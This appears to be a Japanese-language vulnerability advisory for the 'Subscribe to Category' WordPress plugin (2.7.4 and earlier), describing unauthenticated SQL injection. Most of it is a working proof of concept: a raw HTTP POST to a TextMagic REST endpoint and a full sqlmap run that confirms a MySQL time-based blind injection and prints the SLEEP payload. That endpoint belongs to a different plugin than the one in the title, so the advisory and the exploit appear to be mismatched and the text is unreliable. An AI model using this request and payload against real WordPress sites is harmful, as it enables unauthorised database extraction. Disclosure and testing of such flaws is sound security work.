
Subscribe to Category <= 2.7.4 - 未認証SQLインジェクション
Subscribe to Category <= 2.7.4 - 認証なしSQLインジェクション
WordPress用プラグインSubscribe to Categoryは、バージョン2.7.4(およびそれ以前)において、ユーザーが指定するパラメータに対するエスケープが不十分で、既存のSQLクエリの準備が不十分であるため、SQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを付加し、データベースから機密情報を抽出するために使用することが可能になります。CVE-2023-38382は、この問題の重複割り当てと思われます。
POST /wp-json/textmagic/v1/smsreceived HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/json
Content-Length: 52
{
"sender": "12312313*",
"text": "test"
}
$ sqlmap -r test.txt --dbms mysql
___
__H__
___ ___[']_____ ___ ___ {1.7.8#pip}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:54:41 /2025-01-12/
[08:54:41] [INFO] parsing HTTP request from 'test.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[08:54:43] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7dd5100dc1f...26402faeab'). Do you want to use those [Y/n] y
[08:54:44] [INFO] testing if the target URL content is stable
[08:54:45] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels
[08:54:45] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[08:54:45] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[08:54:45] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[08:54:45] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[08:54:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:54:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[08:54:45] [INFO] testing 'Generic inline queries'
[08:54:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[08:54:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[08:54:46] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)
[08:54:57] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
y
[08:55:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[08:55:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[08:55:06] [INFO] checking if the injection point on (custom) POST parameter 'JSON #1*' is a false positive
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {
"sender": "12312313' AND (SELECT 1843 FROM (SELECT(SLEEP(5)))jyGy) AND 'ooEP'='ooEP",
"text": "test"
}
---
[09:03:02] [INFO] the back-end DBMS is MySQL